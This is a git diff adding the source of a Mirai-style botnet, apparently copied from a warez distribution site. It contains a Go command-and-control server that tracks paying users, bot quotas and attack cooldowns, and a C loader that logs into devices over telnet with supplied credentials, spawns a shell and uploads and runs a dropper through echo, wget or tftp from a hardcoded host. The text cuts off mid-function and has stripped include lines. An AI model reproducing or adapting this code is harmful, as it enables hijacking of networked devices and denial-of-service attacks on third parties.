+ 2.1 GIGZ ONLINE[6Cú SYNDROME DISTRO SITE ú EXPERIENCED USERS ONLY
+
+[19CANSI : THE MASKED PIRATEúIMPERIAL
+`
diff --git a/cnc/database.go b/cnc/database.go
new file mode 100644
index 0000000..d50053d
--- /dev/null
+++ b/cnc/database.go
@@ -0,0 +1,145 @@
+package main
+
+import (
+ "database/sql"
+ "fmt"
+ "net"
+ "encoding/binary"
+ _ "github.com/go-sql-driver/mysql"
+ "time"
+ "errors"
+)
+
+type Database struct {
+ db *sql.DB
+}
+
+type AccountInfo struct {
+ username string
+ maxBots int
+ admin int
+}
+
+func NewDatabase(dbAddr string, dbUser string, dbPassword string, dbName string) *Database {
+ db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@tcp(%s)/%s", dbUser, dbPassword, dbAddr, dbName))
+ if err != nil {
+ fmt.Println(err)
+ }
+ fmt.Println("Mysql DB opened")
+ return &Database{db}
+}
+
+func (this *Database) TryLogin(username string, password string) (bool, AccountInfo) {
+ rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE username = ? AND password = ? AND (wrc = 0 OR (UNIX_TIMESTAMP() - last_paid < `intvl` * 24 * 60 * 60))", username, password)
+ if err != nil {
+ fmt.Println(err)
+ return false, AccountInfo{"", 0, 0}
+ }
+ defer rows.Close()
+ if !rows.Next() {
+ return false, AccountInfo{"", 0, 0}
+ }
+ var accInfo AccountInfo
+ rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)
+ return true, accInfo
+}
+
+func (this *Database) CreateUser(username string, password string, max_bots int, duration int, cooldown int) bool {
+ rows, err := this.db.Query("SELECT username FROM users WHERE username = ?", username)
+ if err != nil {
+ fmt.Println(err)
+ return false
+ }
+ if rows.Next() {
+ return false
+ }
+ this.db.Exec("INSERT INTO users (username, password, max_bots, admin, last_paid, cooldown, duration_limit) VALUES (?, ?, ?, 0, UNIX_TIMESTAMP(), ?, ?)", username, password, max_bots, cooldown, duration)
+ return true
+}
+
+func (this *Database) ContainsWhitelistedTargets(attack *Attack) bool {
+ rows, err := this.db.Query("SELECT prefix, netmask FROM whitelist")
+ if err != nil {
+ fmt.Println(err)
+ return false
+ }
+ defer rows.Close()
+ for rows.Next() {
+ var prefix string
+ var netmask uint8
+ rows.Scan(&prefix, &netmask)
+
+ // Parse prefix
+ ip := net.ParseIP(prefix)
+ ip = ip[12:]
+ iWhitelistPrefix := binary.BigEndian.Uint32(ip)
+
+ for aPNetworkOrder, aN := range attack.Targets {
+ rvBuf := make([]byte, 4)
+ binary.BigEndian.PutUint32(rvBuf, aPNetworkOrder)
+ iAttackPrefix := binary.BigEndian.Uint32(rvBuf)
+ if aN > netmask { // Whitelist is less specific than attack target
+ if netshift(iWhitelistPrefix, netmask) == netshift(iAttackPrefix, netmask) {
+ return true
+ }
+ } else if aN < netmask { // Attack target is less specific than whitelist
+ if (iAttackPrefix >> aN) == (iWhitelistPrefix >> aN) {
+ return true
+ }
+ } else { // Both target and whitelist have same prefix
+ if (iWhitelistPrefix == iAttackPrefix) {
+ return true
+ }
+ }
+ }
+ }
+ return false
+}
+
+func (this *Database) CanLaunchAttack(username string, duration uint32, fullCommand string, maxBots int, allowConcurrent int) (bool, error) {
+ rows, err := this.db.Query("SELECT id, duration_limit, cooldown FROM users WHERE username = ?", username)
+ defer rows.Close()
+ if err != nil {
+ fmt.Println(err)
+ }
+ var userId, durationLimit, cooldown uint32
+ if !rows.Next() {
+ return false, errors.New("Your access has been terminated")
+ }
+ rows.Scan(&userId, &durationLimit, &cooldown)
+
+ if durationLimit != 0 && duration > durationLimit {
+ return false, errors.New(fmt.Sprintf("You may not send attacks longer than %d seconds.", durationLimit))
+ }
+ rows.Close()
+
+ if allowConcurrent == 0 {
+ rows, err = this.db.Query("SELECT time_sent, duration FROM history WHERE user_id = ? AND (time_sent + duration + ?) > UNIX_TIMESTAMP()", userId, cooldown)
+ if err != nil {
+ fmt.Println(err)
+ }
+ if rows.Next() {
+ var timeSent, historyDuration uint32
+ rows.Scan(&timeSent, &historyDuration)
+ return false, errors.New(fmt.Sprintf("Please wait %d seconds before sending another attack", (timeSent + historyDuration + cooldown) - uint32(time.Now().Unix())))
+ }
+ }
+
+ this.db.Exec("INSERT INTO history (user_id, time_sent, duration, command, max_bots) VALUES (?, UNIX_TIMESTAMP(), ?, ?, ?)", userId, duration, fullCommand, maxBots)
+ return true, nil
+}
+
+func (this *Database) CheckApiCode(apikey string) (bool, AccountInfo) {
+ rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE api_key = ?", apikey)
+ if err != nil {
+ fmt.Println(err)
+ return false, AccountInfo{"", 0, 0}
+ }
+ defer rows.Close()
+ if !rows.Next() {
+ return false, AccountInfo{"", 0, 0}
+ }
+ var accInfo AccountInfo
+ rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)
+ return true, accInfo
+}
diff --git a/cnc/main.go b/cnc/main.go
new file mode 100644
index 0000000..670b7a7
--- /dev/null
+++ b/cnc/main.go
@@ -0,0 +1,113 @@
+package main
+
+import (
+ "fmt"
+ "net"
+ "errors"
+ "time"
+)
+
+const DatabaseAddr string = "127.0.0.1"
+const DatabaseUser string = "root"
+const DatabasePass string = "password"
+const DatabaseTable string = "mirai"
+
+var clientList *ClientList = NewClientList()
+var database *Database = NewDatabase(DatabaseAddr, DatabaseUser, DatabasePass, DatabaseTable)
+
+func main() {
+ tel, err := net.Listen("tcp", "0.0.0.0:23")
+ if err != nil {
+ fmt.Println(err)
+ return
+ }
+
+ api, err := net.Listen("tcp", "0.0.0.0:101")
+ if err != nil {
+ fmt.Println(err)
+ return
+ }
+
+ go func() {
+ for {
+ conn, err := api.Accept()
+ if err != nil {
+ break
+ }
+ go apiHandler(conn)
+ }
+ }()
+
+ for {
+ conn, err := tel.Accept()
+ if err != nil {
+ break
+ }
+ go initialHandler(conn)
+ }
+
+ fmt.Println("Stopped accepting clients")
+}
+
+func initialHandler(conn net.Conn) {
+ defer conn.Close()
+
+ conn.SetDeadline(time.Now().Add(10 * time.Second))
+
+ buf := make([]byte, 32)
+ l, err := conn.Read(buf)
+ if err != nil || l <= 0 {
+ return
+ }
+
+ if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 {
+ if buf[3] > 0 {
+ string_len := make([]byte, 1)
+ l, err := conn.Read(string_len)
+ if err != nil || l <= 0 {
+ return
+ }
+ var source string
+ if string_len[0] > 0 {
+ source_buf := make([]byte, string_len[0])
+ l, err := conn.Read(source_buf)
+ if err != nil || l <= 0 {
+ return
+ }
+ source = string(source_buf)
+ }
+ NewBot(conn, buf[3], source).Handle()
+ } else {
+ NewBot(conn, buf[3], "").Handle()
+ }
+ } else {
+ NewAdmin(conn).Handle()
+ }
+}
+
+func apiHandler(conn net.Conn) {
+ defer conn.Close()
+
+ NewApi(conn).Handle()
+}
+
+func readXBytes(conn net.Conn, buf []byte) (error) {
+ tl := 0
+
+ for tl < len(buf) {
+ n, err := conn.Read(buf[tl:])
+ if err != nil {
+ return err
+ }
+ if n <= 0 {
+ return errors.New("Connection closed unexpectedly")
+ }
+ tl += n
+ }
+
+ return nil
+}
+
+func netshift(prefix uint32, netmask uint8) uint32 {
+ return uint32(prefix >> (32 - netmask))
+}
diff --git a/headers/binary.c b/headers/binary.c
new file mode 100644
index 0000000..2dc76f5
--- /dev/null
+++ b/headers/binary.c
@@ -0,0 +1,83 @@
+#include
+#include
+#include
+#include
+#include "headers/includes.h"
+#include "headers/binary.h"
+
+static int bin_list_len = 0;
+static struct binary **bin_list = NULL;
+
+BOOL binary_init(void)
+{
+ glob_t pglob;
+ int i;
+
+ if (glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0)
+ {
+ printf("Failed to load from bins folder!\n");
+ return;
+ }
+
+ for (i = 0; i < pglob.gl_pathc; i++)
+ {
+ char file_name[256];
+ struct binary *bin;
+
+ bin_list = realloc(bin_list, (bin_list_len + 1) * sizeof (struct binary *));
+ bin_list[bin_list_len] = calloc(1, sizeof (struct binary));
+ bin = bin_list[bin_list_len++];
+
+#ifdef DEBUG
+ printf("(%d/%d) %s is loading...\n", i + 1, pglob.gl_pathc, pglob.gl_pathv[i]);
+#endif
+ strcpy(file_name, pglob.gl_pathv[i]);
+ strtok(file_name, ".");
+ strcpy(bin->arch, strtok(NULL, "."));
+ load(bin, pglob.gl_pathv[i]);
+ }
+
+ globfree(&pglob);
+ return TRUE;
+}
+
+struct binary *binary_get_by_arch(char *arch)
+{
+ int i;
+
+ for (i = 0; i < bin_list_len; i++)
+ {
+ if (strcmp(arch, bin_list[i]->arch) == 0)
+ return bin_list[i];
+ }
+
+ return NULL;
+}
+
+static BOOL load(struct binary *bin, char *fname)
+{
+ FILE *file;
+ char rdbuf[BINARY_BYTES_PER_ECHOLINE];
+ int n;
+
+ if ((file = fopen(fname, "r")) == NULL)
+ {
+ printf("Failed to open %s for parsing\n", fname);
+ return FALSE;
+ }
+
+ while ((n = fread(rdbuf, sizeof (char), BINARY_BYTES_PER_ECHOLINE, file)) != 0)
+ {
+ char *ptr;
+ int i;
+
+ bin->hex_payloads = realloc(bin->hex_payloads, (bin->hex_payloads_len + 1) * sizeof (char *));
+ bin->hex_payloads[bin->hex_payloads_len] = calloc(sizeof (char), (4 * n) + 8);
+ ptr = bin->hex_payloads[bin->hex_payloads_len++];
+
+ for (i = 0; i < n; i++)
+ ptr += sprintf(ptr, "\\x%02x", (uint8_t)rdbuf[i]);
+ }
+
+ return FALSE;
+}
diff --git a/headers/binary.h b/headers/binary.h
new file mode 100644
index 0000000..7b61312
--- /dev/null
+++ b/headers/binary.h
@@ -0,0 +1,16 @@
+#pragma once
+
+#include "includes.h"
+
+#define BINARY_BYTES_PER_ECHOLINE 128
+
+struct binary {
+ char arch[6];
+ int hex_payloads_len;
+ char **hex_payloads;
+};
+
+BOOL binary_init(void);
+struct binary *binary_get_by_arch(char *arch);
+
+static BOOL load(struct binary *bin, char *fname);
diff --git a/headers/build.debug.sh b/headers/build.debug.sh
new file mode 100644
index 0000000..a7a2f67
--- /dev/null
+++ b/headers/build.debug.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+gcc -lefence -g -DDEBUG -static -lpthread -pthread -O3 src/*.c -o loader.dbg
diff --git a/headers/build.sh b/headers/build.sh
new file mode 100644
index 0000000..07d72f0
--- /dev/null
+++ b/headers/build.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+gcc -static -O3 -lpthread -pthread src/*.c -o loader
diff --git a/headers/connection.c b/headers/connection.c
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/headers/connection.c
@@ -0,0 +1 @@
+
diff --git a/headers/connection.h b/headers/connection.h
new file mode 100644
index 0000000..cf6fed9
--- /dev/null
+++ b/headers/connection.h
@@ -0,0 +1,67 @@
+#pragma once
+
+#include
+#include
+#include "includes.h"
+#include "telnet_info.h"
+
+struct connection {
+ pthread_mutex_t lock;
+ struct server *srv;
+ struct binary *bin;
+ struct telnet_info info;
+ int fd, echo_load_pos;
+ time_t last_recv;
+ enum {
+ TELNET_CLOSED, // 0
+ TELNET_CONNECTING, // 1
+ TELNET_READ_IACS, // 2
+ TELNET_USER_PROMPT, // 3
+ TELNET_PASS_PROMPT, // 4
+ TELNET_WAITPASS_PROMPT, // 5
+ TELNET_CHECK_LOGIN, // 6
+ TELNET_VERIFY_LOGIN, // 7
+ TELNET_PARSE_PS, // 8
+ TELNET_PARSE_MOUNTS, // 9
+ TELNET_READ_WRITEABLE, // 10
+ TELNET_COPY_ECHO, // 11
+ TELNET_DETECT_ARCH, // 12
+ TELNET_ARM_SUBTYPE, // 13
+ TELNET_UPLOAD_METHODS, // 14
+ TELNET_UPLOAD_ECHO, // 15
+ TELNET_UPLOAD_WGET, // 16
+ TELNET_UPLOAD_TFTP, // 17
+ TELNET_RUN_BINARY, // 18
+ TELNET_CLEANUP // 19
+ } state_telnet;
+ struct {
+ char data[512];
+ int deadline;
+ } output_buffer;
+ uint16_t rdbuf_pos, timeout;
+ BOOL open, success, retry_bin, ctrlc_retry;
+ uint8_t rdbuf[8192];
+};
+
+void connection_open(struct connection *conn);
+void connection_close(struct connection *conn);
+
+int connection_consume_iacs(struct connection *conn);
+int connection_consume_login_prompt(struct connection *conn);
+int connection_consume_password_prompt(struct connection *conn);
+int connection_consume_prompt(struct connection *conn);
+int connection_consume_verify_login(struct connection *conn);
+int connection_consume_psoutput(struct connection *conn);
+int connection_consume_mounts(struct connection *conn);
+int connection_consume_written_dirs(struct connection *conn);
+int connection_consume_copy_op(struct connection *conn);
+int connection_consume_arch(struct connection *conn);
+int connection_consume_arm_subtype(struct connection *conn);
+int connection_consume_upload_methods(struct connection *conn);
+int connection_upload_echo(struct connection *conn);
+int connection_upload_wget(struct connection *conn);
+int connection_upload_tftp(struct connection *conn);
+int connection_verify_payload(struct connection *conn);
+int connection_consume_cleanup(struct connection *conn);
+
+static BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount);
diff --git a/headers/include.h b/headers/include.h
new file mode 100644
index 0000000..da4aad5
--- /dev/null
+++ b/headers/include.h
@@ -0,0 +1,36 @@
+#pragma once
+
+#include
+
+#define STDIN 0
+#define STDOUT 1
+#define STDERR 2
+
+#define FALSE 0
+#define TRUE 1
+typedef char BOOL;
+
+typedef uint32_t ipv4_t;
+typedef uint16_t port_t;
+
+#define LOADER_LITTLE_ENDIAN
+
+#define ATOMIC_ADD(ptr,i) __sync_fetch_and_add((ptr),i)
+#define ATOMIC_SUB(ptr,i) __sync_fetch_and_sub((ptr),i)
+#define ATOMIC_INC(ptr) ATOMIC_ADD((ptr),1)
+#define ATOMIC_DEC(ptr) ATOMIC_SUB((ptr),1)
+#define ATOMIC_GET(ptr) ATOMIC_ADD((ptr),0)
+
+#define VERIFY_STRING_HEX "\\x6b\\x61\\x6d\\x69"
+#define VERIFY_STRING_CHECK "kami"
+
+#define TOKEN_QUERY "/bin/busybox ECCHI"
+#define TOKEN_RESPONSE "ECCHI: applet not found"
+
+#define EXEC_QUERY "/bin/busybox IHCCE"
+#define EXEC_RESPONSE "IHCCE: applet not found"
+
+#define FN_DROPPER "upnp"
+#define FN_BINARY "dvrHelper"
+
+extern char *id_tag;
diff --git a/headers/main.c b/headers/main.c
new file mode 100644
index 0000000..d44bea3
--- /dev/null
+++ b/headers/main.c
@@ -0,0 +1,115 @@
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include "headers/includes.h"
+#include "headers/server.h"
+#include "headers/telnet_info.h"
+#include "headers/binary.h"
+#include "headers/util.h"
+
+static void *stats_thread(void *);
+
+static struct server *srv;
+
+char *id_tag = "telnet";
+
+int main(int argc, char **args)
+{
+ pthread_t stats_thrd;
+ uint8_t addrs_len;
+ ipv4_t *addrs;
+ uint32_t total = 0;
+ struct telnet_info info;
+
+#ifdef DEBUG
+ addrs_len = 1;
+ addrs = calloc(4, sizeof (ipv4_t));
+ addrs[0] = inet_addr("0.0.0.0");
+#else
+ addrs_len = 2;
+ addrs = calloc(addrs_len, sizeof (ipv4_t));
+
+ addrs[0] = inet_addr("192.168.0.1"); // Address to bind to
+ addrs[1] = inet_addr("192.168.1.1"); // Address to bind to
+#endif
+
+ if (argc == 2)
+ {
+ id_tag = args[1];
+ }
+
+ if (!binary_init())
+ {
+ printf("Failed to load bins/dlr.* as dropper\n");
+ return 1;
+ }
+
+ /* wget address tftp address */
+ if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL)
+ {
+ printf("Failed to initialize server. Aborting\n");
+ return 1;
+ }
+
+ pthread_create(&stats_thrd, NULL, stats_thread, NULL);
+
+ // Read from stdin
+ while (TRUE)
+ {
+ char strbuf[1024];
+
+ if (fgets(strbuf, sizeof (strbuf), stdin) == NULL)
+ break;
+
+ util_trim(strbuf);
+
+ if (strlen(strbuf) == 0)
+ {
+ usleep(10000);
+ continue;
+ }
+
+ memset(&info, 0, sizeof(struct telnet_info));
+ if (telnet_info_parse(strbuf, &info) == NULL)
+ printf("Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n", strbuf);
+ else
+ {
+ if (srv == NULL)
+ printf("srv == NULL 2\n");
+
+ server_queue_telnet(srv, &info);
+ if (total++ % 1000 == 0)
+ sleep(1);
+ }
+
+ ATOMIC_INC(&srv->total_input);
+ }
+
+ printf("Hit end of input.\n");
+
+ while(ATOMIC_GET(&srv->curr_open) > 0)
+ sleep(1);
+
+ return 0;
+}
+
+static void *stats_thread(void *arg)
+{
+ uint32_t seconds = 0;
+
+ while (TRUE)
+ {
+#ifndef DEBUG
+ printf("%ds\tProcessed: %d\tConns: %d\tLogins: %d\tRan: %d\tEchoes:%d Wgets: %d, TFTPs: %d\n",
+ seconds++, ATOMIC_GET(&srv->total_input), ATOMIC_GET(&srv->curr_open), ATOMIC_GET(&srv->total_logins), ATOMIC_GET(&srv->total_successes),
+ ATOMIC_GET(&srv->total_echoes), ATOMIC_GET(&srv->total_wgets), ATOMIC_GET(&srv->total_tftps));
+#endif
+ fflush(stdout);
+ sleep(1);
+ }
+}
diff --git a/headers/server.c b/headers/server.c
new file mode 100644
index 0000000..40392a9
--- /dev/null
+++ b/headers/server.c
@@ -0,0 +1,639 @@
+#define _GNU_SOURCE
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include "headers/includes.h"
+#include "headers/server.h"
+#include "headers/telnet_info.h"
+#include "headers/connection.h"
+#include "headers/binary.h"
+#include "headers/util.h"
+
+struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip)
+{
+ struct server *srv = calloc(1, sizeof (struct server));
+ struct server_worker *workers = calloc(threads, sizeof (struct server_worker));
+ int i;
+
+ // Fill out the structure
+ srv->bind_addrs_len = addr_len;
+ srv->bind_addrs = addrs;
+ srv->max_open = max_open;
+ srv->wget_host_ip = wghip;
+ srv->wget_host_port = wghp;
+ srv->tftp_host_ip = thip;
+ srv->estab_conns = calloc(max_open * 2, sizeof (struct connection *));
+ srv->workers = calloc(threads, sizeof (struct server_worker));
+ srv->workers_len = threads;
+
+ if (srv->estab_conns == NULL)
+ {
+ printf("Failed to allocate establisted_connections array\n");
+ exit(0);
+ }
+
+ // Allocate locks internally
+ for (i = 0; i < max_open * 2; i++)
+ {
+ srv->estab_conns[i] = calloc(1, sizeof (struct connection));
+ if (srv->estab_conns[i] == NULL)
+ {
+ printf("Failed to allocate connection %d\n", i);
+ exit(-1);
+ }
+ pthread_mutex_init(&(srv->estab_conns[i]->lock), NULL);
+ }
+
+ // Create worker threads
+ for (i = 0; i < threads; i++)
+ {
+ struct server_worker *wrker = &srv->workers[i];
+
+ wrker->srv = srv;
+ wrker->thread_id = i;
+
+ if ((wrker->efd = epoll_create1(0)) == -1)
+ {
+ printf("Failed to initialize epoll context. Error code %d\n", errno);
+ free(srv->workers);
+ free(srv);
+ return NULL;
+ }
+
+ pthread_create(&wrker->thread, NULL, worker, wrker);
+ }
+
+ pthread_create(&srv->to_thrd, NULL, timeout_thread, srv);
+
+ return srv;
+}
+
+void server_destroy(struct server *srv)
+{
+ if (srv == NULL)
+ return;
+ if (srv->bind_addrs != NULL)
+ free(srv->bind_addrs);
+ if (srv->workers != NULL)
+ free(srv->workers);
+ free(srv);
+}
+
+void server_queue_telnet(struct server *srv, struct telnet_info *info)
+{
+ while (ATOMIC_GET(&srv->curr_open) >= srv->max_open)
+ {
+ sleep(1);
+ }
+ ATOMIC_INC(&srv->curr_open);
+
+ if (srv == NULL)
+ printf("srv == NULL 3\n");
+
+ server_telnet_probe(srv, info);
+}
+
+void server_telnet_probe(struct server *srv, struct telnet_info *info)
+{
+ int fd = util_socket_and_bind(srv);
+ struct sockaddr_in addr;
+ struct connection *conn;
+ struct epoll_event event;
+ int ret;
+ struct server_worker *wrker = &srv->workers[ATOMIC_INC(&srv->curr_worker_child) % srv->workers_len];
+
+ if (fd == -1)
+ {
+ if (time(NULL) % 10 == 0)
+ {
+ printf("Failed to open and bind socket\n");
+ }
+ ATOMIC_DEC(&srv->curr_open);
+ return;
+ }
+ while (fd >= (srv->max_open * 2))
+ {
+ printf("fd too big\n");
+ conn->fd = fd;
+#ifdef DEBUG
+ printf("Can't utilize socket because client buf is not large enough\n");
+#endif
+ connection_close(conn);
+ return;
+ }
+
+ if (srv == NULL)
+ printf("srv == NULL 4\n");
+
+ conn = srv->estab_conns[fd];
+ memcpy(&conn->info, info, sizeof (struct telnet_info));
+ conn->srv = srv;
+ conn->fd = fd;
+ connection_open(conn);
+
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = info->addr;
+ addr.sin_port = info->port;
+ ret = connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
+ if (ret == -1 && errno != EINPROGRESS)
+ {
+ printf("got connect error\n");
+ }
+
+ event.data.fd = fd;
+ event.events = EPOLLOUT;
+ epoll_ctl(wrker->efd, EPOLL_CTL_ADD, fd, &event);
+}
+
+static void bind_core(int core)
+{
+ pthread_t tid = pthread_self();
+ cpu_set_t cpuset;
+ CPU_ZERO(&cpuset);
+ CPU_SET(core, &cpuset);
+ if (pthread_setaffinity_np(tid, sizeof (cpu_set_t), &cpuset) != 0)
+ printf("Failed to bind to core %d\n", core);
+}
+
+static void *worker(void *arg)
+{
+ struct server_worker *wrker = (struct server_worker *)arg;
+ struct epoll_event events[128];
+
+ bind_core(wrker->thread_id);
+
+ while (TRUE)
+ {
+ int i, n = epoll_wait(wrker->efd, events, 127, -1);
+
+ if (n == -1)
+ perror("epoll_wait");
+
+ for (i = 0; i < n; i++)
+ handle_event(wrker, &events[i]);
+ }
+}
+
+static void handle_event(struct server_worker *wrker, struct epoll_event *ev)
+{
+ struct connection *conn = wrker->srv->estab_conns[ev->data.fd];
+
+ if (conn->fd == -1)
+ {
+ conn->fd = ev->data.fd;
+ connection_close(conn);
+ return;
+ }
+
+ if (conn->fd != ev->data.fd)
+ {
+ printf("yo socket mismatch\n");
+ }
+
+ // Check if there was an error
+ if (ev->events & EPOLLERR || ev->events & EPOLLHUP || ev->events & EPOLLRDHUP)
+ {
+#ifdef DEBUG
+ if (conn->open)
+ printf("[FD%d] Encountered an error and must shut down\n", ev->data.fd);
+#endif
+ connection_close(conn);
+ return;
+ }
+
+ // Are we ready to write?
+ if (conn->state_telnet == TELNET_CONNECTING && ev->events & EPOLLOUT)
+ {
+ struct epoll_event event;
+
+ int so_error = 0;
+ socklen_t len = sizeof(so_error);
+ getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &so_error, &len);
+ if (so_error)
+ {
+#ifdef DEBUG
+ printf("[FD%d] Connection refused\n", ev->data.fd);
+#endif
+ connection_close(conn);
+ return;
+ }
+
+#ifdef DEBUG
+ printf("[FD%d] Established connection\n", ev->data.fd);
+#endif
+ event.data.fd = conn->fd;
+ event.events = EPOLLIN | EPOLLET;
+ epoll_ctl(wrker->efd, EPOLL_CTL_MOD, conn->fd, &event);
+ conn->state_telnet = TELNET_READ_IACS;
+ conn->timeout = 30;
+ }
+
+ if (!conn->open)
+ {
+ printf("socket not open! conn->fd: %d, fd: %d, events: %08x, state: %08x\n", conn->fd, ev->data.fd, ev->events, conn->state_telnet);
+ }
+
+ // Is there data to read?
+ if (ev->events & EPOLLIN && conn->open)
+ {
+ int ret;
+
+ conn->last_recv = time(NULL);
+ while (TRUE)
+ {
+ ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, sizeof (conn->rdbuf) - conn->rdbuf_pos, MSG_NOSIGNAL);
+ if (ret <= 0)
+ {
+ if (errno != EAGAIN && errno != EWOULDBLOCK)
+ {
+#ifdef DEBUG
+ if (conn->open)
+ printf("[FD%d] Encountered error %d. Closing\n", ev->data.fd, errno);
+#endif
+ connection_close(conn);
+ }
+ break;
+ }
+#ifdef DEBUG
+ printf("TELIN: %.*s\n", ret, conn->rdbuf + conn->rdbuf_pos);
+#endif
+ conn->rdbuf_pos += ret;
+ conn->last_recv = time(NULL);
+
+ if (conn->rdbuf_pos > 8196)
+ {
+ printf("oversized buffer pointer!\n");
+ abort();
+ }
+
+ while (TRUE)
+ {
+ int consumed;
+
+ switch (conn->state_telnet)
+ {
+ case TELNET_READ_IACS:
+ consumed = connection_consume_iacs(conn);
+ if (consumed)
+ conn->state_telnet = TELNET_USER_PROMPT;
+ break;
+ case TELNET_USER_PROMPT:
+ consumed = connection_consume_login_prompt(conn);
+ if (consumed)
+ {
+ util_sockprintf(conn->fd, "%s", conn->info.user);
+ strcpy(conn->output_buffer.data, "\r\n");
+ conn->output_buffer.deadline = time(NULL) + 1;
+ conn->state_telnet = TELNET_PASS_PROMPT;
+ }
+ break;
+ case TELNET_PASS_PROMPT:
+ consumed = connection_consume_password_prompt(conn);
+ if (consumed)
+ {
+ util_sockprintf(conn->fd, "%s", conn->info.pass);
+ strcpy(conn->output_buffer.data, "\r\n");
+ conn->output_buffer.deadline = time(NULL) + 1;
+ conn->state_telnet = TELNET_WAITPASS_PROMPT; // At the very least it will print SOMETHING
+ }
+ break;
+ case TELNET_WAITPASS_PROMPT:
+ if ((consumed = connection_consume_prompt(conn)) > 0)
+ {
+ util_sockprintf(conn->fd, "enable\r\n");
+ util_sockprintf(conn->fd, "shell\r\n");
+ util_sockprintf(conn->fd, "sh\r\n");
+ conn->state_telnet = TELNET_CHECK_LOGIN;
+ }
+ break;
+ case TELNET_CHECK_LOGIN:
+ if ((consumed = connection_consume_prompt(conn)) > 0)
+ {
+ util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
+ conn->state_telnet = TELNET_VERIFY_LOGIN;
+ }
+ break;
+ case TELNET_VERIFY_LOGIN:
+ consumed = connection_consume_verify_login(conn);
+ if (consumed)
+ {
+ ATOMIC_INC(&wrker->srv->total_logins);
+#ifdef DEBUG
+ printf("[FD%d] Succesfully logged in\n", ev->data.fd);
+#endif
+ util_sockprintf(conn->fd, "/bin/busybox ps; " TOKEN_QUERY "\r\n");
+ conn->state_telnet = TELNET_PARSE_PS;
+ }
+ break;
+ case TELNET_PARSE_PS:
+ if ((consumed = connection_consume_psoutput(conn)) > 0)
+ {
+ util_sockprintf(conn->fd, "/bin/busybox cat /proc/mounts; " TOKEN_QUERY "\r\n");
+ conn->state_telnet = TELNET_PARSE_MOUNTS;
+ }
+ break;
+ case TELNET_PARSE_MOUNTS:
+ consumed = connection_consume_mounts(conn);
+ if (consumed)
+ conn->state_telnet = TELNET_READ_WRITEABLE;
+ break;
+ case TELNET_READ_WRITEABLE:
+ consumed = connection_consume_written_dirs(conn);
+ if (consumed)
+ {
+#ifdef DEBUG
+ printf("[FD%d] Found writeable directory: %s/\n", ev->data.fd, conn->info.writedir);
+#endif
+ util_sockprintf(conn->fd, "cd %s/\r\n", conn->info.writedir, conn->info.writedir);
+ util_sockprintf(conn->fd, "/bin/busybox cp /bin/echo " FN_BINARY "; >" FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n");
+ conn->state_telnet = TELNET_COPY_ECHO;
+ conn->timeout = 120;
+ }
+ break;
+ case TELNET_COPY_ECHO:
+ consumed = connection_consume_copy_op(conn);
+ if (consumed)
+ {
+#ifdef DEBUG
+ printf("[FD%d] Finished copying /bin/echo to cwd\n", conn->fd);
+#endif
+ if (!conn->info.has_arch)
+ {
+ conn->state_telnet = TELNET_DETECT_ARCH;
+ conn->timeout = 120;
+ // DO NOT COMBINE THESE
+ util_sockprintf(conn->fd, "/bin/busybox cat /bin/echo\r\n");
+ util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
+ }
+ else
+ {
+ conn->state_telnet = TELNET_UPLOAD_METHODS;
+ conn->timeout = 15;
+ util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
+ }
+ }
+ break;
+ case TELNET_DETECT_ARCH:
+ consumed = connection_consume_arch(conn);
+ if (consumed)
+ {
+ conn->timeout = 15;
+ if ((conn->bin = binary_get_by_arch(conn->info.arch)) == NULL)
+ {
+#ifdef DEBUG
+ printf("[FD%d] Cannot determine architecture\n", conn->fd);
+#endif
+ connection_close(conn);
+ }
+ else if (strcmp(conn->info.arch, "arm") == 0)
+ {
+#ifdef DEBUG
+ printf("[FD%d] Determining ARM sub-type\n", conn->fd);
+#endif
+ util_sockprintf(conn->fd, "cat /proc/cpuinfo; " TOKEN_QUERY "\r\n");
+ conn->state_telnet = TELNET_ARM_SUBTYPE;
+ }
+ else
+ {
+#ifdef DEBUG
+ printf("[FD%d] Detected architecture: '%s'\n", ev->data.fd, conn->info.arch);
+#endif
+ util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
+ conn->state_telnet = TELNET_UPLOAD_METHODS;
+ }
+ }
+ break;
+ case TELNET_ARM_SUBTYPE:
+ if ((consumed = connection_consume_arm_subtype(conn)) > 0)
+ {
+ struct binary *bin = binary_get_by_arch(conn->info.arch);
+
+ if (bin == NULL)
+ {
+#ifdef DEBUG
+ printf("[FD%d] We do not have an ARMv7 binary, so we will try using default ARM\n", conn->fd);
+#endif
+ }
+ else
+ conn->bin = bin;
+
+ util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
+ conn->state_telnet = TELNET_UPLOAD_METHODS;
+ }
+ break;
+ case TELNET_UPLOAD_METHODS:
+ consumed = connection_consume_upload_methods(conn);
+
+ if (consumed)
+ {
+#ifdef DEBUG
+ printf("[FD%d] Upload method is ", conn->fd);
+#endif
+ switch (conn->info.upload_method)
+ {
